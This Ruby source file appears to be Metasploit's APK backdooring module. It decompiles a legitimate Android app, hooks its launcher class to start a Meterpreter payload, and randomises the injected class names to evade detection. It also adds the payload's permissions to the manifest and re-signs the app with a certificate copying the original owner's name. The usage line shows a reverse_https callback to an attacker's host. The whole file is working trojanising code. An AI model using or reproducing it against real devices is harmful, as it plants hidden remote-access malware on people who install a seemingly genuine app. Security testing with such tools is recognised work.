c91660bc54
Bump the minimum version of apktool to avoid CVE-2024-21633
426 lines
15 KiB
Ruby
426 lines
15 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
require 'rex/text'
|
|
require 'tmpdir'
|
|
require 'nokogiri'
|
|
require 'fileutils'
|
|
require 'optparse'
|
|
require 'open3'
|
|
require 'date'
|
|
|
|
class Msf::Payload::Apk
|
|
|
|
def print_status(msg='')
|
|
$stderr.puts "[*] #{msg}"
|
|
end
|
|
|
|
def print_error(msg='')
|
|
$stderr.puts "[-] #{msg}"
|
|
end
|
|
|
|
alias_method :print_bad, :print_error
|
|
|
|
def usage
|
|
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
|
|
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
|
|
end
|
|
|
|
def run_cmd(cmd)
|
|
begin
|
|
stdin, stdout, stderr = Open3.popen3(*cmd)
|
|
return stdout.read + stderr.read
|
|
rescue Errno::ENOENT
|
|
return nil
|
|
end
|
|
end
|
|
|
|
# Find a suitable smali point to hook.
|
|
# Returns the first suitable hook point.
|
|
#
|
|
# @param manifest [String] AndroidManifest.xml file contents
|
|
#
|
|
# @return [String] Full class name, for example: com.example.app.MainActivity
|
|
def find_hook_point(manifest)
|
|
return unless manifest
|
|
|
|
package = manifest.xpath('//manifest').first['package']
|
|
|
|
application = manifest.xpath('//application')
|
|
application_name = application.attribute('name').to_s
|
|
unless (application_name.blank? || application_name == 'android.app.Application')
|
|
unless application_name.include?('.')
|
|
application_name = '.' + application_name
|
|
end
|
|
if application_name.start_with?('.')
|
|
application_name = package + application_name
|
|
end
|
|
return application_name
|
|
end
|
|
|
|
activities = manifest.xpath('//activity|//activity-alias')
|
|
for activity in activities
|
|
activity_name = activity.attribute('targetActivity').to_s
|
|
if activity_name.blank?
|
|
activity_name = activity.attribute('name').to_s
|
|
end
|
|
|
|
next if activity_name.blank?
|
|
|
|
category = activity.search('category')
|
|
next unless category
|
|
|
|
for cat in category
|
|
category_name = cat.attribute('name').to_s
|
|
next unless (category_name == 'android.intent.category.LAUNCHER' || category_name == 'android.intent.action.MAIN')
|
|
|
|
unless activity_name.include?('.')
|
|
activity_name = '.' + activity_name
|
|
end
|
|
if activity_name.start_with?('.')
|
|
activity_name = package + activity_name
|
|
end
|
|
|
|
return activity_name
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
# Read AndroidManifest.xml file.
|
|
#
|
|
# @param manifest_file [String] Path to AndroidManifest.xml file
|
|
#
|
|
# @return [Nokogiri::XML] AndroidManifest.xml file contents
|
|
def parse_manifest(manifest_file)
|
|
File.open(manifest_file, "rb"){|file|
|
|
data = File.read(file)
|
|
return Nokogiri::XML(data)
|
|
}
|
|
end
|
|
|
|
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
|
|
#Load payload's manifest
|
|
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
|
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
|
|
|
#Load original apk's manifest
|
|
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
|
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
|
|
|
old_permissions = []
|
|
add_permissions = []
|
|
|
|
original_permissions.each do |permission|
|
|
name = permission.attribute("name").to_s
|
|
old_permissions << name
|
|
end
|
|
|
|
application = original_manifest.xpath('//manifest/application')
|
|
payload_permissions.each do |permission|
|
|
name = permission.attribute("name").to_s
|
|
unless old_permissions.include?(name)
|
|
add_permissions += [permission.to_xml]
|
|
end
|
|
end
|
|
add_permissions.shuffle!
|
|
for permission_xml in add_permissions
|
|
print_status("Adding #{permission_xml}")
|
|
if original_permissions.empty?
|
|
application.before(permission_xml)
|
|
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
|
else
|
|
original_permissions.before(permission_xml)
|
|
end
|
|
end
|
|
|
|
application = original_manifest.at_xpath('/manifest/application')
|
|
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
|
|
service = payload_manifest.at_xpath('/manifest/application/service')
|
|
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
|
|
receiver.attributes["label"].value = main_broadcast_receiver
|
|
service.attributes["name"].value = package + '.' + main_service
|
|
application << receiver.to_xml
|
|
application << service.to_xml
|
|
|
|
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
|
|
end
|
|
|
|
def extract_cert_data_from_apk_file(path)
|
|
orig_cert_data = []
|
|
|
|
# extract signing scheme v1 (JAR signing) certificate
|
|
# v1 signing is optional to support older versions of Android (pre Android 11)
|
|
# https://source.android.com/security/apksigning/
|
|
keytool_output = run_cmd(['keytool', '-J-Duser.language=en', '-printcert', '-jarfile', path])
|
|
|
|
if keytool_output.include?('keytool error: ')
|
|
raise RuntimeError, "keytool could not parse APK file: #{keytool_output}"
|
|
end
|
|
|
|
if keytool_output.start_with?('Not a signed jar file')
|
|
# apk file does not have a valid v1 signing certificate
|
|
# extract signing certificate from newer signing schemes (v2/v3/v4/...) using apksigner instead
|
|
apksigner_output = run_cmd(['apksigner', 'verify', '--print-certs', path])
|
|
|
|
cert_dname = apksigner_output.scan(/^Signer #\d+ certificate DN: (.+)$/).flatten.first.to_s.strip
|
|
if cert_dname.blank?
|
|
raise RuntimeError, "Could not extract signing certificate owner: #{apksigner_output}"
|
|
end
|
|
orig_cert_data.push(cert_dname)
|
|
|
|
# Create random start date from some time in the past 3 years
|
|
from_date = DateTime.now.next_day(-rand(3 * 365))
|
|
orig_cert_data.push(from_date.strftime('%Y/%m/%d %T'))
|
|
|
|
# Valid for 25 years
|
|
# https://developer.android.com/studio/publish/app-signing
|
|
to_date = from_date.next_year(25)
|
|
validity = (to_date - from_date).to_i
|
|
orig_cert_data.push(validity.to_s)
|
|
else
|
|
if keytool_output.include?('keytool error: ')
|
|
raise RuntimeError, "keytool could not parse APK file: #{keytool_output}"
|
|
end
|
|
|
|
cert_dname = keytool_output.scan(/^Owner:(.+)$/).flatten.first.to_s.strip
|
|
if cert_dname.blank?
|
|
raise RuntimeError, "Could not extract signing certificate owner: #{keytool_output}"
|
|
end
|
|
orig_cert_data.push(cert_dname)
|
|
|
|
valid_from_line = keytool_output.scan(/^Valid from:.+/).flatten.first
|
|
if valid_from_line.empty?
|
|
raise RuntimeError, "Could not extract certificate date: #{keytool_output}"
|
|
end
|
|
|
|
from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
|
|
to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
|
|
from_date = DateTime.parse(from_date_str.to_s)
|
|
orig_cert_data.push(from_date.strftime('%Y/%m/%d %T'))
|
|
to_date = DateTime.parse(to_date_str.to_s)
|
|
validity = (to_date - from_date).to_i
|
|
orig_cert_data.push(validity.to_s)
|
|
end
|
|
|
|
if orig_cert_data.empty?
|
|
raise RuntimeError, 'Could not extract signing certificate from APK file'
|
|
end
|
|
|
|
orig_cert_data
|
|
end
|
|
|
|
def check_apktool_output_for_exceptions(apktool_output)
|
|
if apktool_output.to_s.include?('Exception in thread')
|
|
print_error(apktool_output)
|
|
raise RuntimeError, "apktool execution failed"
|
|
end
|
|
end
|
|
|
|
def backdoor_apk(apkfile, raw_payload, signature = true, manifest = true, apk_data = nil, service = true)
|
|
unless apk_data || apkfile && File.readable?(apkfile)
|
|
usage
|
|
raise RuntimeError, "Invalid template: #{apkfile}"
|
|
end
|
|
|
|
check_apktool = run_cmd(%w[apktool -version])
|
|
if check_apktool.nil?
|
|
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
if check_apktool.to_s.include?('java: not found')
|
|
raise RuntimeError, "java not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
jar_name = 'apktool.jar'
|
|
if check_apktool.to_s.include?("can't find #{jar_name}")
|
|
raise RuntimeError, "#{jar_name} not found. This file must exist in the same directory as apktool."
|
|
end
|
|
|
|
check_apktool_output_for_exceptions(check_apktool)
|
|
|
|
apktool_version = Rex::Version.new(check_apktool.split("\n").first.strip)
|
|
min_required_apktool_version = Rex::Version.new('2.9.2')
|
|
unless apktool_version >= min_required_apktool_version
|
|
# technically MSF supports 2.7.0+ but versions < 2.9.2 are vulnerable to CVE-2024-21633
|
|
# see: https://github.com/iBotPeaches/Apktool/security/advisories/GHSA-2hqv-2xv4-5h5w
|
|
raise RuntimeError, "apktool version #{apktool_version} not supported, please download at least version #{min_required_apktool_version}."
|
|
end
|
|
|
|
#Create temporary directory where work will be done
|
|
tempdir = Dir.mktmpdir
|
|
File.binwrite("#{tempdir}/payload.apk", raw_payload)
|
|
if apkfile
|
|
FileUtils.cp apkfile, "#{tempdir}/original.apk"
|
|
else
|
|
File.binwrite("#{tempdir}/original.apk", apk_data)
|
|
end
|
|
|
|
if signature
|
|
keytool = run_cmd(['keytool'])
|
|
unless keytool != nil
|
|
raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
apksigner = run_cmd(['apksigner'])
|
|
if apksigner.nil?
|
|
raise RuntimeError, "apksigner not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
zipalign = run_cmd(['zipalign'])
|
|
unless zipalign != nil
|
|
raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
keystore = "#{tempdir}/signing.keystore"
|
|
storepass = "android"
|
|
keypass = "android"
|
|
keyalias = "signing.key"
|
|
|
|
orig_cert_data = extract_cert_data_from_apk_file(apkfile)
|
|
orig_cert_dname = orig_cert_data[0]
|
|
orig_cert_startdate = orig_cert_data[1]
|
|
orig_cert_validity = orig_cert_data[2]
|
|
|
|
print_status "Creating signing key and keystore..\n"
|
|
keytool_output = run_cmd([
|
|
'keytool', '-genkey', '-v', '-keystore', keystore, '-alias', keyalias, '-storepass', storepass,
|
|
'-keypass', keypass, '-keyalg', 'RSA', '-keysize', '2048', '-startdate', orig_cert_startdate,
|
|
'-validity', orig_cert_validity, '-dname', orig_cert_dname
|
|
])
|
|
|
|
if keytool_output.include?('keytool error: ')
|
|
raise RuntimeError, "keytool could not generate key: #{keytool_output}"
|
|
end
|
|
end
|
|
|
|
print_status "Decompiling original APK..\n"
|
|
apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '--only-main-classes', '-o', "#{tempdir}/original"])
|
|
check_apktool_output_for_exceptions(apktool_output)
|
|
|
|
print_status "Decompiling payload APK..\n"
|
|
apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"])
|
|
check_apktool_output_for_exceptions(apktool_output)
|
|
|
|
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
|
|
|
print_status "Locating hook point..\n"
|
|
hookable_class = find_hook_point(amanifest)
|
|
if hookable_class.blank?
|
|
raise 'Unable to find hookable class in AndroidManifest.xml'
|
|
end
|
|
|
|
hookable_class_filename = hookable_class.to_s.gsub('.', '/') + '.smali'
|
|
hookable_class_filepath = "#{tempdir}/original/smali*/#{hookable_class_filename}"
|
|
smalifile = Dir.glob(hookable_class_filepath).select { |f| File.readable?(f) && !File.symlink?(f) }.flatten.first
|
|
if smalifile.blank?
|
|
raise "Unable to find class file: #{hookable_class_filepath}"
|
|
end
|
|
|
|
hooksmali = File.binread(smalifile)
|
|
entrypoint = 'return-void'
|
|
unless hooksmali.include?(entrypoint)
|
|
raise "Unable to find hookable function in #{smalifile}"
|
|
end
|
|
|
|
# Remove unused files
|
|
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
|
|
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
|
|
|
|
package = amanifest.xpath("//manifest").first['package']
|
|
package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
|
classes = {}
|
|
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
|
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
|
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
|
package_slash = package.gsub(/\./, "/")
|
|
|
|
print_status "Adding payload as package #{package}\n"
|
|
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
|
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
|
|
FileUtils.mkdir_p payload_dir
|
|
|
|
# Copy over the payload files, fixing up the smali code
|
|
payload_files.each do |file_name|
|
|
smali = File.binread(file_name)
|
|
smali_class = File.basename file_name
|
|
for oldclass, newclass in classes
|
|
if smali_class == "#{oldclass}.smali"
|
|
smali_class = "#{newclass}.smali"
|
|
end
|
|
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
|
|
end
|
|
smali.gsub!(/com\/metasploit\/stage/, package_slash)
|
|
newfilename = "#{payload_dir}#{smali_class}"
|
|
File.open(newfilename, "wb") {|file| file.puts smali }
|
|
end
|
|
|
|
if service
|
|
hookfunction = "L#{package_slash}/#{classes['MainService']};->start()V"
|
|
else
|
|
hookfunction = "L#{package_slash}/#{classes['Payload']};->startContext()V"
|
|
end
|
|
|
|
payloadhook = %Q^invoke-static {}, #{hookfunction}
|
|
^ + entrypoint
|
|
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
|
|
|
|
print_status "Loading #{smalifile} and injecting payload..\n"
|
|
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
|
|
|
injected_apk = "#{tempdir}/output.apk"
|
|
aligned_apk = "#{tempdir}/aligned.apk"
|
|
if manifest
|
|
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
|
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
|
|
end
|
|
|
|
print_status "Rebuilding apk with meterpreter injection as #{injected_apk}\n"
|
|
apktool_output = run_cmd(['apktool', 'b', '-o', injected_apk, "#{tempdir}/original"])
|
|
check_apktool_output_for_exceptions(apktool_output)
|
|
|
|
unless File.readable?(injected_apk)
|
|
print_error apktool_output
|
|
print_status("Unable to rebuild apk. Trying rebuild with AAPT2..\n")
|
|
apktool_output = run_cmd(['apktool', 'b', '--use-aapt2', '-o', injected_apk, "#{tempdir}/original"])
|
|
|
|
unless File.readable?(injected_apk)
|
|
print_error apktool_output
|
|
raise RuntimeError, "Unable to rebuild apk with apktool"
|
|
end
|
|
end
|
|
|
|
if signature
|
|
print_status "Aligning #{injected_apk}\n"
|
|
zipalign_output = run_cmd(['zipalign', '-p', '4', injected_apk, aligned_apk])
|
|
|
|
unless File.readable?(aligned_apk)
|
|
print_error(zipalign_output)
|
|
raise RuntimeError, 'Unable to align apk with zipalign.'
|
|
end
|
|
|
|
print_status "Signing #{aligned_apk} with apksigner\n"
|
|
apksigner_output = run_cmd([
|
|
'apksigner', 'sign', '--ks', keystore, '--ks-pass', "pass:#{storepass}", aligned_apk
|
|
])
|
|
if apksigner_output.to_s.include?('Failed')
|
|
print_error(apksigner_output)
|
|
raise RuntimeError, 'Signing with apksigner failed.'
|
|
end
|
|
|
|
apksigner_verify = run_cmd(['apksigner', 'verify', '--verbose', aligned_apk])
|
|
if apksigner_verify.to_s.include?('DOES NOT VERIFY')
|
|
print_error(apksigner_verify)
|
|
raise RuntimeError, 'Signature verification failed.'
|
|
end
|
|
else
|
|
aligned_apk = injected_apk
|
|
end
|
|
|
|
outputapk = File.binread(aligned_apk)
|
|
|
|
FileUtils.remove_entry tempdir
|
|
outputapk
|
|
end
|
|
end
|